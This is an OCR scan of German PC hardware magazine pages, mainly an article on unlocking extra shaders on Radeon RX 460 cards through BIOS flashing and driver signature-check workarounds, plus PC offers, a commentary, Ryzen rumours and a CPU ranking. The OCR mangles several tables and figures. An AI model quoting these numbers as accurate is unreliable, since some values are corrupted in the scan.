Asus Strix @ 1.024 ALUs (1.256 MHz) [EXER E 21,7 (+6 %) 
Asus Strix 896 ALUs (1.256 MHz) О 20,4 (Basis) 
Asus Strix @ 1.024 ALUs (1.200 MHz) En 20,9 (+6 96) 
Asus Strix @ 896 ALUs (1.200 MHz) Ee 19,7 (Basis) 
) 
) 


ХЕХ Passive @ 1.024 ALUs (-1.130 MHz) EIGEN 19,6 (+5 96) 


ХЕХ Passive @ 896 ALUs (-1.150 MHz) mg 18,6 (Basis) 

System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Mier 

Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 378.49, RS 17.1.2, HQ-AF >B ps 
esser 


Bemerkungen: Die getesteten RX-460-Karten verfügen über 4 GiByte Speicher. 
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. PC Games Hardware verrät, wie's geht. 


MDs Radeon RX 460 ist auf- 

grund der relativ geringen 
Anschaffungskosten und ordent- 
lichen Effizienz gerade für Gele- 
genheitsspieler sehr 
Sowohl die Variante mit 2 als auch 
jene mit 4 GiByte sind mit der 
Polaris-11-GPU bestückt, welche 
ab Werk mit 56 Textur- und 896 
Shader-Einheiten ausgestattet ist. 
Durch eine BIOS-Modifikation ist 
es allerdings möglich, bei vielen 
RX-460-Grafikkarten acht zusätzli- 
che Textureinheiten und 128 Sha- 


interessant. 


dereinheiten freizuschalten - ergo 
kommt die RX 460 anschließend 
auf 64 TMUs und 1.024 ALUs. PC 
Games Hardware hat die Modifika- 
tion mit mehreren RX-460-Karten 
ausprobiert und zeigt, was die „RX 
465“ zu leisten imstande ist. 


Polaris Pro wird XT 

Ein Vollausbau der Polaris-11-GPU 
ist bereits im Handel und wird 
unter dem Namen AMD Radeon 
Pro 460 als mobile Grafikeinheit 
vertrieben. Apple bietet diese GPU 
beispielsweise im aktuellen Mac 
Book Pro 15 als Option an. Dort 
wird die GPU zum Wohle der Effi- 
zienz allerdings mit gedrosselter 
Taktrate betrieben: Gegenüber der 
Desktop-Version, welche mit einem 
Basistakt von 1.090 MHz arbeitet, 
wird die Radeon Pro 460 mit einer 
Taktrate von 900 MHz im Mac Book 
Pro 15 verwendet. 


RX 460 und Radeon Pro 460 sind 
ansonsten baugleich und werden 
aus den gleichen Wafern gewon- 
nen. Deshalb ist davon auszuge- 
hen, dass AMD bei der Radeon RX 
460 teilweise GPUs verwendet, die 
nicht für 1.024 ALUs geeignet wa- 
ren, ergo den Funktionstest nicht 
bestanden haben. Allerdings ist 
ebenso davon auszugehen, dass vie- 
le GPUs eigentlich voll funktions- 
fähig sind und künstlich per BIOS 
beschnitten werden, um den Markt 
für günstige Einsteiger-Grafikkar- 
ten zu bedienen. 


BIOS-Modifikation 

Für die BIOS-Modifikation muss zu- 
nächst das Original-BIOS der Karte 
gespeichert und mit einem Hex- 
Editor geöffnet werden. Dort müs- 
sen je nach Hersteller und BIOS 
ein bis zwei Hex-Werte geändert 
werden, um das BIOS freizuschal- 
ten. Der Wert befindet sich je nach 
Boardpartner an einer anderen 
Stelle, weshalb das Risiko relativ 
hoch ist, die Modifikation falsch 
durchzuführen - wir raten daher 
von entsprechenden Versuchen ab. 


Auf der Website overclocking. 
guide findet sich die einfache Al- 
ternative: Dort sind zahlreiche 
bereits modifizierte und getestete 
BIOS-Versionen verschiedener RX- 
460-Karten und -Hersteller verfüg- 
bar. Die zahlreichen Nutzerkom- 
mentare und Erfolgsmeldungen 
lassen den Schluss zu, dass sich 
viele RX-460-Grafikkarten erfolg- 
reich freischalten lassen. Wichtig 
ist allerdings, dass vor dem BIOS- 
Flash unbedingt das Original-BIOS 
gespeichert wird. Dies lässt sich 
ebenfalls mithilfe der Downloads 
bei Overclocking.Guide bewerk- 
stelligen; alternativ hilft das Tool 
GPU-Z weiter. 


Sollte sich Ihre Radeon RX 460 
wider Erwarten nicht freischalten 
lassen und nach dem Flash-Vorgang 
kein Bild mehr ausgeben, kann das 
Standard-BIOS durch die Verwen- 
dung einer anderen Grafikkarte 
oder der IGP des Prozessors zu- 
rückgeflasht werden. 


Risiken & Nebenwirkungen 
Selbst nach einem erfolgreichen 
BIOS-Flash kann es zu Problemen 
kommen. Die grófste Komplikation 
wird von der aktuellen Radeon- 
Software verursacht: AMD hat ab 
dem Crimson-Treiber 16.12.1 (Re- 
live-Edition) die Überprüfung der 
BlOS- Signatur wieder eingeführt 
und so den Moddern Steine in den 
Weg gelegt. Durch die modifizierte 
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Frameverlauf Rise of the Tomb Raider 


Frameverlauf Sniper Elite 4 


Rise of the Tomb Raider (DX12), maximale Details, 1080p - „Geo Valley" Sniper Elite 4 (DX12), maximale Details, 1080p — „Schießstand” 

40 40 

35 35 
T T 
P Р 
3 25 5 25 
E E 
E 2 
Ф 20 [7 20 
Mi Mi 
° e 
& 15 & 15 
S © 
= 10 @ 1.024 ALUs, 1.200/3.500 MHz — 20,9 Fps avg. = 10 © 1.024 АШ, 1.200/3.500 MHz — 36,9 Fps avg. 
= % 896 ALUs, 1.200/3.500 MHz - 19,7 Fps avg. EI % 896 ALUs, 1.200/3.500 MHz - 34,7 Fps avg. 

5 А 1.024 АШ, 1.300/3.800 MHz — 22,4 Fps avg. 5 А 1.024 ALUS, 1.300/3.800 MHz — 39,4 Fps avg. 

I 896 ALUs, 1.300/3.800 MHz — 21,2 Fps avg. E 896 ALUs, 1.300/3.800 MHz - 37,2 Fps avg. 
0 0 
012 34567 8 9 10 11 12 13 14 15 16 17 18 19 20 21 012 34567 8 9 10 11 12 13 14 15 16 17 18 19 20 21 
Zeit in Sekunden Zeit in Sekunden 


System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB DDR4-3000 (1T); Win 10 x64 (1607), RS 17.1.2; HQ-AF 
Bemerkungen: Lara Croft freut sich nicht riesig über die erhóhte Shader-Leistung, in Kombination mit 
ordentlichem Overclocking bleibt die Bildrate einer 1.024-Shader-Karte jedoch über 20 Fps. 


eine Leistungsdifferenz von 13,5 Prozent — das ist am Rande der Fühlbarkeit. 


System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB DDRA-3000 (1T); Win 10 x64 (1607), RS 17.1.2; HQ-AF 
Bemerkungen: Zwischen der Basisversion mit 896 ALUs und der stark übertakteten 1.024er-Schwester liegt 


BIOS-Version schlägt die Überprü- 
fung der BIOS-Signatur fehl und 
der Treiber kann im Normalfall 
nicht installiert werden. Die ein- 
fachste Lösung ist, die ältere Rade- 
on-Software 16.11.5 zu verwenden. 
Diese ist jedoch nicht mehr tau- 
frisch und kann daher in kommen- 
den Spielen Probleme verursachen, 
die mit nachfolgenden Treiberver- 
öffentlichungen beseitigt wurden. 


Doch auch eine aktuelle Radeon- 
Software (17.x.x) lásst sich installie- 
ren, sofern die Treiberdateien ent- 
sprechend modifiziert werden. Um 
die Signaturprüfung abzuschalten, 
müssen mehrere Inhalte des Trei- 
bers aufwendig mit modifizierten 
Versionen ausgetauscht werden. 
Besonders problematisch dabei ist, 
dass diese Modifikation bei jedem 
neuen Treiber erneut durchgeführt 
werden muss, solange AMD die 
Signatur-Überprüfung nicht deak- 
tiviert. Falls Sie den Aufwand nicht 
scheuen, finden Sie die genaue 
Schritt-für-Schritt-Anleitung unter 
www.pcgh.de/BIOS-Signatur-Ex - 
der Link führt zur Website www. 
techpowerup.com. 


Lohn der Mühen 

Haben Sie Ihre Radeon RX 460 er- 
folgreich geflasht und den Treiber 
modifiziert, können Sie sich über 
eine Leistungssteigerung zwischen 
drei und bestenfalls zehn Prozent 
freuen. Auf der linken Seite haben 
wir einige Benchmarks unterge- 
bracht, flankiert von einigen 3D- 
Mark-Werten zur Rechten. Interes- 
sant ist, welche Unterschiede 
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Spezifikationsvergleich: RX 460 neben GTX 1050 (Ti) 


Modell Radeon „RX 465" Radeon RX 460 Geforce GTX 1050 Ti | Geforce GTX 1050 
Grafikchip Polaris 11 XT Polaris 11 Pro GP107-400 GP107-300 
akt Grafikchip/ALUs (Megahertz) 1.090 1.090 1.290 1.354 
Boost-Takt Grafikchip (Megahertz) 1.200 1.200 1.392 1.455 
akt Grafikspeicher (Megahertz) 3.500 3.500 3.506 3.506 
Shader-/SIMD-/Textureinheiten 1.024/16/64 896/14/56 768/6/48 640/5/48 
Raster-Endstufen (ROPs) 16 16 32 32 
Speicherschnittstelle (Bit) 128 128 128 128 
Übliche Speichermenge (MiByte) 4.096 4.096/2.048 4.096 2.048 
SP-Rechenleistung (GFLOPS) 2.458 2.150 2.138 1.862 
Dreiecksdurchsatz (Mio./s) 4.800 4.800 2.784 2.425 
exturleistung (GTexel/s) 76,8 67,2 66,8 58,2 
Speichertransferrate (GByte/s) 112,0 112,0 1122 112,2 
Die XT-Ausbaustufe des Polaris 11 lässt sich bei einer Radeon RX 460 nur mittels inoffizieller BIOS-Mods freischalten. 


Sky Diver 


Graphics score 19 659 М. 

Score 19 437 Physics score 17582 ый 
A Score has not been validated online ? Combined score 20991 M 
Fire Strike Graphics score 6043 м 
Score 5 560 Physics score 19582 v 
A Score has not been validated online ? Combined score 2080 v 
Sky Diver Graphics score 18620 MN. 
Score 18 581 Physics score 17 690 М. 
А Score has not been validated online ? Combined score 19767 M 
Fire Strike Graphics score 5711 М 
Score 5 300 Physics score 19913 v 
A Score has not been validated online ? Combined score 2006 M 


3D Mark, einmal mit 1.024 (oben) und einmal mit 896 ALUs (unten). Der Leistungsgewinn deckt sich mit den Ergebnissen unserer 


Spieletests. Faustregel: Wenn die zusátzlichen Shader kaum durchschlagen, limitiert unter anderem die Speichertransferrate. 
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sich zwischen den einzelnen RX- 
460-Designs auftun. Die XFX-Karte 
kommt mit einer rein passiven 
Kühlung aus und wurde daher mit 
einer geringen Leistungsaufnahme 
spezifiziert - die GPU darf hier 
höchstens 50 Watt aufnehmen, die 
übrigen Bauteile kommen auf circa 
20 Watt. Da das Wattbudget nach 
der BIOS-Modifikation unverändert 
ist, arbeitet die GPU im Schnitt mit 
etwas geringeren Boosts. Dieses 
Problem hat die Asus RX 460 Strix 
O4G nicht, sie profitiert in jedem 
Test stärker vom Upgrade auf 1.024 
Shader-ALUs. 


Ein Leistungswunder wird AMDs 
Einstiegsmodell durch die Modi- 
fikation aber nicht - selbst dann 
nicht, wenn sie manuell auf min- 
destens 1.300 MHz übertaktet wird. 


Die Sache mit dem Strom 

Einige RX-460-Grafikkarten ver- 
zichten auf eine zusätzliche Strom- 
versorgung vom Netzteil. Diese Mo- 
delle, welche Sie am Fehlen einer 
Strombuchse erkennen, sind bis 75 
Watt spezifiziert, welche der PCI- 
Express-Slot des Mainboards maxi- 
mal bereitstellen kann. Dabei han- 
delt es sich bereits um den Wert mit 
eingerechneter Toleranz, bei genau 
12 Volt Spannung sind streng ge- 
nommen nur 66 Watt verfügbar 
(5,5 Ampere). Da zusätzliche Re- 
chenwerke selbstverständlich mit 
Strom versorgt werden müssen, 
ist bei BIOS-Modifikationen auch 
der daraus resultierende Stromver- 
brauch zu beachten. Wir haben die 
Leistungsaufnahme exemplarisch 
getestet. Im Falle der Asus Radeon 
RX 460 Strix steigt die Leistungs- 


aufnahme um circa fünf Watt und 
bei der Sapphire Radeon RX 460 
Nitro 4G um höchstens acht Watt 
an. Das liegt daran, dass die modi- 
fizierten BIOS-Dateien keine Ände- 
rungen an Powerlimit, Spannungen 
und weiteren Parametern vorneh- 
men, die erhöhte Leistungsaufnah- 
me ergibt sich rein durch die zu- 
sätzlichen Verbraucher innerhalb 
des Grafikchips. Das Risiko, dass 
die Spannungsversorgung der Gra- 
fikkarte deswegen einen Defekt er- 
leidet, ist sehr gering, kann jedoch 
nicht ausgeschlossen werden. 


Wir empfehlen, die BIOS-Modifi- 
kation nur bei Grafikkarten mit 
zusätzlicher Strombuchse durch- 
zuführen, um auf der sicheren Sei- 
te zu sein. Besitzer eines solchen 
Modells können es dann nach 


Herzenslust übertakten; mit einer 
6-Pol-Buchse an Bord sind spezi- 
fikationsgemäß bis zu 150 Watt 
Energieumsatz möglich - praktisch 
wird das jedoch selbst von stark 
übertakteten RX-460-Grafikkarten 
nicht erreicht. (rv/rh) 


Fazit Hardware 


RX 460 @ RX 465 

Die BIOS-Modifikation bringt RX-460- 
Grafikkarten eine gern gesehene Zu- 
satzleistung, muss aber durch auf- 
wendige Modifikationen am BIOS und 
auch am Treiber teuer erkauft werden. 
Für experimentierfreudige Besitzer ei- 
ner RX 460 kann es sich aber durchaus 
lohnen — auch wenn man nicht ganz 
in die Leistungsregion einer GTX 1050 
vordringen kann. 


Zwei Karten, zweimal Erfolg beim Freischalten auf 1.024 Shader-ALUs 


Die Website www.overclocking.guide stellt modifizierte BIOS-Dateien für diverse RX-460-Grafikkarten bereit. Wir haben zwei unterschiedliche Modelle 
aus dem PCGH-Fundus damit bespielt — und hatten zweimal Erfolg. 


Asus RX 460 Strix 04G 

PCGH hat diese Asus-Grafikkarte in der Ausgabe 
120/2016 ausführlich getestet (siehe Einkaufs- 
führer am Ende des Hefts). Die uns vorliegende 
4-GiByte-Variante arbeitet ab Werk mit 1.236 


MHz Boostfrequenz und 72 Watt maximaler 
GPU-Leistungsaufnahme. Zusammen mit den 
übrigen Komponenten ergibt sich vor der BIOS-Mo- 
difikation eine Leistungsaufnahme zwischen 88 und 
schlimmstenfalls 105 Watt. Nach der Modifikation 
rechnet die Karte mit 1.024 ALUs und 1.256 MHz. 
Der höhere Takt ergibt sich aus der Tatsache, 

dass das modifizierte BIOS der „Presse-Version” 
entspricht — einige Testkarten wurden mit dem Takt 
ausgeliefert, welcher normalerweise nur mithilfe des 
Asus-Tools GPU Tweak 2 verfügbar ist. 


XFX RX 460 Passive Heatsink 

Die zweite 4-GiByte-Karte im Bunde unterscheidet 
sich wesentlich von der Asus-Version. Im Fokus 
steht eine komplett geräuschlose Kühlung, weshalb 
der Hersteller XFX auf Lüfter verzichtet. Dazu pas- 
send beträgt die der GPU maximal zugesprochene 
Leistungsaufnahme nur 50 Watt — 31 Prozent weni- 
ger als bei der Asus RX 460 Strix 04G. Dementspre- 
chend kommt die Karte ohne eine Strombuchse aus, 
der Durst wird allein durch den PEG-Slot gestillt. 
Die BIOS-Modifikation auf 1.024 ALUs bei ansons- 
ten gleichen Parametern offenbart die Grenzen 

des engen Watt-Korsetts: Zwar stehen nun weitere 
Rechenwerke zur Verfügung, diese benötigen jedoch 
mehr Strom als zuvor. In der Folge sinkt der Boost 
um einige MHz ab. Dennoch: Leistung und Effizienz 
steigen um wenige Prozente an. 
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Kaby-Lake-CPU 
3 neuen PCGH-PCs 


In 


Làrmpegel zu 9e 


ANZEIGE 


den PCGH-PCS werden ү 
Y en und 
ge tail-Komponenter 
E ut, um eine 
t und einen niedrigen 
währleisten. 


0 
EM-Produkte verba 


ualitäi 


Nachdem wir in der letzten Ausgabe bereits High-End-, Enthusiast- sowie den Ex- 
treme-PC auf Kaby Lake umgestellt haben, sind nun die restlichen PCs an der Reihe. 


D 


er PCGH-Starter-PC 


bleibt der günstigs- 


te PCGH-PC und verfügt in der V2-Vari- 
ante auch über einen Kaby-Lake-Prozessor. 
Der Core i5-7500 ersetzt dabei den i5-6500 
und ist um 200 MHz höher getaktet. Auch im 
neuen Allround-PC kommt der i5-7500 zum 
Einsatz, während der neue Gaming-PC über 
einen etwas schnelleren Core i5-7600 verfügt. 
Auch diesen Prozessor taktet Intel nun um 
200 MHz höher als seinen direkten Vorgän- 
ger. In allen diesen PCGH-PCs setzen wir auf 


eine Asus-Grafikkarte aus der Strix-Reihe. Die 
Lüfter sind dabei so konfiguriert, dass diese 
im 2D-Modus stillstehen und nur unter Last 
aufdrehen. Dadurch erreichen alle drei PCGH- 
PCs einen extrem niedrigen Lärmpegel im 2D- 
Betrieb, der bei nahezu unhörbaren 0,2 Sone 
bzw. 20 dB(A) liegt. Das PC-Update haben wir 
außerdem genutzt, um die Crucial-SSD als 
M.2-Variante einzubauen. Mehr Infos zu un- 
serem PCGH-PC-Sortiment finden Sie unter 


www.pcgh-pc.de. (dw) 


Hardware 


Offizi PCGH-Produkt 


Hersteller/Bezugsquelle 


PCGH-Starter-PC 
RX480-Edition V2 
Alternate (www.pcgh.de/alternate) 


PCGH-Allround-PC 
GTX1060-Edition V2 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


PCGH-Enthusiast-PC 
GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/starter2-pc 


www.pcgh.de/allround2-pc 


www.pcgh.de/gaming-pc 


www.pcgh.de/highend-v2-pc 


www.pcgh.de/enthusiast2-pc 


Ausstattung 

Prozessor Intel Core i5-7500 (Sockel 1151) Intel Core i5-7500 (Sockel 1151) Intel Core i5-7600 (Sockel 1151) | Intel Core i5-7600K (Sockel 1151) | Intel Core i7-7700K (Sockel 1151) 
Grafikkarte Asus Radeon RX 480 Strix OC Asus GTX 1060 Strix OC Gaming Asus GTX 1070 Strix OC Gaming Asus GTX 1070 Strix OC Gaming Asus GTX 1070 Strix OC Gaming 
Mainboard MSI B250 PC Mate MSI B250 PC Mate MSI B250 PC Mate Asus Prime Z270-P Asus Prime Z270-A 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300 M.2) 


275-GB-SSD (Crucial MX300 M.2) 


275-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300 M.2) 


HDD-Laufwerk 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


1.000-GB-HDD (WD Blue) 


2.000-GB-HDD (WD Blue) 


Speicher 16 GB DDR4-2400 (Crucial) 16 GB DDR4-2400 (Crucial) 16 GB DDR4-2400 (Crucial) 16 GB DDR4-2400 (Crucial) 16 GB DDR4-2400 (Crucial) 
Netzteil Cooler Master B500 Rev. 2 Cooler Master B500 Rev. 2 Cooler Master B500 Rev. 2 Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler Soythe Katana 4 Scythe Katana 4 EKL Brocken 2 PCGH-Edition Scythe Mugen 4 PCGH-Edition Scythe Mugen 4 PCGH-Edition 
Gehäuse Sharkoon M25-V Sharkoon M25-V Sharkoon M25-V Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 


Gehäuselüfter/Sonstiges 
Leistung 


2 x Lüfter 


2 x Lüfter, WLAN-Karte 


2 x Lüfter, WLAN-Karte 


3 x Lüfter, WLAN-Karte 


3 x Lüfter, WLAN-Karte 


Lautstárke 2D (0,5 m) 0,2 Sone/20 dB(A) 0,2 Sone/20 dB(A) 0,2 Sone/20 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/20 dB(A) 
Lautstárke 3D (0,5 m) 1,5 Sone/32 dB(A) 0,9 Sone/29 dB(A) 1,2 Sone/31 dB(A) 0,7 Sone/27 dB(A) 0,6 Sone/26 dB(A) 
Leistungsaufnahme 2D/3D 38 Watt/247 Watt 30 Watt/182 Watt 37 Watt/249 Watt 36 Watt/240 Watt 40 Watt/254 Watt 


3D Mark (Fire Strike) 


2.861 (U), 5.378 (E), 10.346 (5) 


3.132 (U), 5.839 (E), 10.655 (5) 


4.406 (U), 7.943 (E), 14.368 (S) 


4.429 (0), 7.982 (E), 14.479 (S) 


4.567 (U), 8.472 (E), 16.186 (S) 


Crysis 3/The Witcher 3 


53 Fps/45 Fps 


59 Fps/46 Fps 


80 Fps/68 Fps 


82 Fps/68 Fps 


83 Fps/68 Fps 


Stalker: Call of Pripyat 


124 Fps (Sun Shafts, Ultra, 4x AA) 


146 Fps (Sun Shafts, Ultra, 4x AA) 


191 Fps (Sun Shafts, Ultra, 4x AA) 


192 Fps (Sun Shafts, Ultra, 4x AA) 


205 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


141 Fps (1.920 x 1.080) 


181 Fps (1.920 x 1.080) 


245 Fps (1.920 x 1.080) 


245 Fps (1.920 x 1.080) 


248 Fps (1.920 x 1.080) 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Cinebench R11.5 x64 (CPU) 6,90 Punkte 6,94 Punkte 7,45 Punkte 7,63 Punkte 10,85 Punkte 
PREIS 
en: €1.169,- €1.199,- €1.429,- €1.699,- €1.929,- 
PREIS €1.269,- €1.299,- €1.529,- €1.799,- €2.029,- 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


€ Neuer Intel Kaby-Lake-Prozessor 
© Sehr leise unter 2D 
© Kleine SSD 


© Neuer Intel Kaby-Lake-Prozessor 
© Sehr leise unter 2D 
© Kleine SSD 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Kleine SSD 


© Neuer Intel Kaby-Lake-Prozessor 
© Sehr leise unter 2D und 3D 
© Kein Blu-ray-Laufwerk 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


* Preiserfassung und Produktdaten vom 01.02.2017, unter www.pcg 
PC ist sofort einsatzbereit. FAQ: Wie installiere ich Windows selbst? Eine Video-Anleitung, wie Sie die Windows-Version Ihrer Wahl ganz einfach selbst installieren, finden Sie unter www.pcgh.de/windows. 


.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sämtliche Treiber installiert und der 


Prozessoren 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


Carsten Spille 
Fachbereich Prozessoren 
E-Mail: cs@pcgh.de 


Kommentar 


Krzanich-E-Mail: `Murrica first, Umwelt- 
schutz und Investoreninteressen. 


Der US-amerikanische Präsident Trump ist aus 
vielerlei Gründen, neutral gesagt, umstritten. 
Viele seiner Äußerungen und Dekrete stoßen 
speziell im liberalen Silicon Valley auf Kritik. 
Doch ganz offenbar sind sich Firmenobere wie 
Intels CEO Brian Krzanich nicht zu schade, sich 
von Trump instrumentalisieren zu lassen, wenn 
es um gute Nachrichten für Investoren geht. So 
hat Krzanich angekündigt, Investitionen von 7 
Mrd. US-Dollar in die kommende 7-nm-Fertigung 
in der Fab42 in Arizona zu tätigen, in deren Fol- 
ge 10.000 Arbeitsplätze in Arizona (davon 3.000 
bei Intel direkt) entstehen sollen. Auch wenn die 
Investitionen bereits im fortgeschrittenen Stadi- 
um sind und ihr Grundstein bereits vor Jahren 
gelegt worden ist, erfolgte die Ankündigung 
während eines Besuchs bei Präsident Trump im 
Weißen Haus. So weit, so „America first”. 


Weiter bewertet Krzanich die Anstrengungen 
der US-Regierung positiv, US-Firmen wieder 
wettbewerbsfähiger zu machen. In einer veröf- 
fentlichten E-Mail an seine Mitarbeiter ließ Krza- 
nich verlauten, dass Intel trotz „steuerlicher und 
regulatorischer Nachteile“ in den USA weiterhin 
mit Stolz dort produziere. Man unterstütze die 
Bemühungen der Trump-Regierung, die Produk- 
tion in den USA wieder wettbewerbsfähig(er) 
zu machen, und habe sich entschlossen, die 
(erneute, Anm. des Autors) Ankündigung der 
7-Mrd.-Dollar-Investition daher gerade jetzt und 
im Weißen Haus zu machen — immerhin: Am 
Ende der Mail kritisiert Krzanich Trumps gekippte 
Visa-Stopps. Man mag zu Trump stehen, wie man 
will, aber traurig hierbei ist auch, dass trotz aller 
Bemühungen um „Green IT" und konfliktfreie 
Rohstoffgewinnung in den letzten Jahren zum 
Maßnahmenpaket der US-Regierung auch die 
Aufweichung der Klimaziele und verschiedener 
Umweltauflagen zählt. Und diesen Preis werden 
wir alle zahlen - irgendwann. 
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AMD Ryzen: Gerüchte-Gerichte 


Erstens kommt es anders und zweitens als man 
denkt: kein Ryzen-Test, aber Gerüchte. 


\ X Jarum Sie in diesem Heft leider keinen 

Ryzen-Test lesen kónnen, hat El Cheffe be- 
reits im Editorial erklärt. Sie können uns glauben: 
Niemand bedauert das so sehr wie wir. Wir gehen 
derzeit von einem gestaffelten NDA für Ende Fe- 
bruar/Anfang März aus: Zunächst ein paar Specs 
und ausgewählte Benchmarks vom Hersteller 
und einige Tage später die echten Tests. So war 
es zumindest bei den letzten paar AMD-Launches. 


Die Gerüchteküche ist nichtsdestotrotz voll mit 
allen möglichen Informationsbröckchen und zu- 
mindest zu denen möchten wir Ihnen an dieser 
Stelle ein Kleines Update geben - wer weiß, viel- 
leicht halten Sie das Heft ja noch vor dem NDA- 
Fall in den Händen ... Die Nomenklatur scheint 
festzustehen: Ryzen, gefolgt von der Ziffer 3, 5 
oder 7 für die Klasseneinteilung sowie einer vier- 
stelligen Zahl, abgerundet von einem optionalen 
„X“. Das Topmodell mit 8 Kernen und 16 Threads 
wird bei einem Basistakt von 3,6 GHz und einem 
Turbo von 4,0 GHz als Ryzen 7 1800X gehandelt. 
Vermuteter Preisbereich: Um die 600 Euro. Ryzen 
5 können entweder Sechs- oder Vierkerner mit 


SMT sein. Kostenpunkt zwischen knapp 200 und 
300 Euro. Ryzen 3 schließlich sind SMT-lose Vier- 
kerner analog zu Intels Core i5 und sollen preis- 
lich unter 150 Euro starten. Neben den Kernen 
und dem vom Topmodell ausgehend sinkenden 
Takt skaliert AMD die Ryzen-Modelle wohl auch 
über den L3-Cache: Ryzen 7 und 5 bekommen das 
volle Paket, bei Ryzen 3 wird abermals Restever- 
wertung betrieben und die Hälfte des schnellen 
Zwischenspeichers fällt weg. Spannend wird 
neben der Pro-MHz-Leistung vor allem die Leis- 
tungsaufnahme (die TDP liegt bei 95 respektive 
65 Watt) und das Turbo-Verhalten. (cs) 


Bild: www.hardware3000.de 


Vulkan jetzt auch im Intel-Treiber 


Nachdem es einst hieß, man plane Vulkan-Support 
nur für Entwickler, hat Intel jetzt doch einen Vul- 
kan-kompatiblen IGP-Treiber veröffentlicht. 


rst teilte ein Intel-Mitarbeiter auf eine Anfra- 
E. im hauseigenen Support-Forum mit, man 
plane aktuell nicht, Vulkan in den Windows- 
Treibern zu unterstützen. Dies wurde später 
revidiert und inzwischen sind finale, Vulkan- 
kompatible Treiber für die in Intels Prozessoren 
integrierte Grafikeinheiten verfügbar. 


Der Treiber mit der Versionsnummer 15.45.4590 
wurde Mitte Januar signiert und Anfang Febru- 
ar veröffentlicht und ist als Download von der 
Intel-Website rund 240 MByte groß. Er liegt 
wahlweise als selbstentpackender Installer oder 
als Zip-Archiv vor. Unterstützt werden derzeit 
nur 64-Bit-Betriebssysteme ab Windows 7. Die 
für Windows 8 zuständigen Einträge in der INF- 


Datei fehlen im Gegensatz zu 7, 8.1 und 10. Über- 
einstimmend mit den bisherigen Plänen unter- 
stützen die Treiber Kaby Lake im Gegensatz zu 
Skylake weiterhin nur unter Windows 10. In Sa- 
chen API-Support ist unter Windows 10 primär 
natürlich Direct X 12 mit Feature-Level 12_1 zu 
nennen. Darüber hinaus integrieren die Treiber 
Open GL 4.4 sowie Open CL: 2.1 für Kaby Lake 
und 2.0 für Skylake. Einige ältere Pentium/Cele- 
ron-Modelle mit HD Graphics 500/505 und 510 
sind auf Open GL 4.2 und Open CL 1.2 limitiert. 


Die unterstützten Prozessoren beschränken 
sich auf die aktuellen Desktop-Baureihen Sky- 
lake und Kaby Lake inklusive der Xeon-E3- sowie 
Pentium-Modelle. Überraschend ist allerdings 
das Auftauchen von Broxton-IGPs in den Instal- 
lationsdateien, denn eigentlich war die Entwick- 
lung der Smartphone-Chips 2016 eingestellt 
worden. (cs) 


www.pcgameshardware.de 


Startseite | PROZESSOREN 


PCGH-Index: Top 40 CPUs 


BESSER > | Normierte Leistung 


Wi Gesamtindex Bi Spieleindex Bl Anwendungsindex 


InteCorei7-6950x | BH 0: Intel Core 15-6600к | awal 577° 
3,0 GHz- 10c/20t- РІМ 8,8 % | ТЕЙ 100 % 3,5 GHz- 44t- РУ 34,5% | Шї 

- 22:37 (3:193 F1:130 sm К8:24097 72:120 BLD:117 x264:61 = AQ2::28 om nm — 50:40 FCB:11479 72:281 BLD:360 264139 
Preis: Са. 1.750 Euro ACS:137 DAIF138 FC4:90 — TW3:135 3DMP:21.430LR5:90 CB15:1.805yCr: 70 Preis: Ca. 240 Euro ACS:89  DAI:97 FC4:106  TW3:84 3DMP:8.106 LR5:139 CB15:611 yCr:142 
Intel Core 17-6900к НЕ 5% | Intel Core 15-7400 awwal 5.7 

3,2 GHz- 8/16 – PLV 13 96 3,0 бнг Ae РІУ 42,3% | КЛ 
A22:36 (3:177 F1:124 Om FCB:24761 72:126 ВІО: 143 x264:72 - A22:26 (387 np 50:38 FCB:10594 72:286 BLD:392 x264: 150 
Preis: Ca. 1.110 Euro ACS:136 DAI:136 FC4:89 — TW3:135 ЗОМР: 19.232 185:93 CB15:1.483yCr: 75 Preis: Ca. 190 Euro ACS:91 — DAE97  FC4:107 TW3:84 ` 3DMP:7.431 LR5:152 CB15:552 yCr:154 
Intel Core 17-5960Х ` | o s Intel Core i5-4690k | И ШШЕН 5s.» 
3,0 GHz - 8c/16t PLV 12,1 96 3,5 GHz-4c/at- РУ 31,7% | CA 
A22:29 (3:164 F1:115 52:31  FCB:23.164 72:135 BLD:161 264:81 A22:31 (3:90 — Fl:54 — SC2:36 FCB:12.033 72:288 BLD:368 x264:163 
Preis: Ca. 1.080 Euro ACS:127 DAI:130 FC4:84 — TW3:124 — 3DMP: 16.203 LR5: 108 CB15: 1.329 yCr: 81 Preis: Ca. 250 Euro ACS:85 — DAE85  FC4:98 — TW3:80 ` 3DMP:7.482 LR5:150 CB15:565 yCr:168 
Intel Core i7-7700K | awr Intel Coreis-6500 | ШШЕ: 
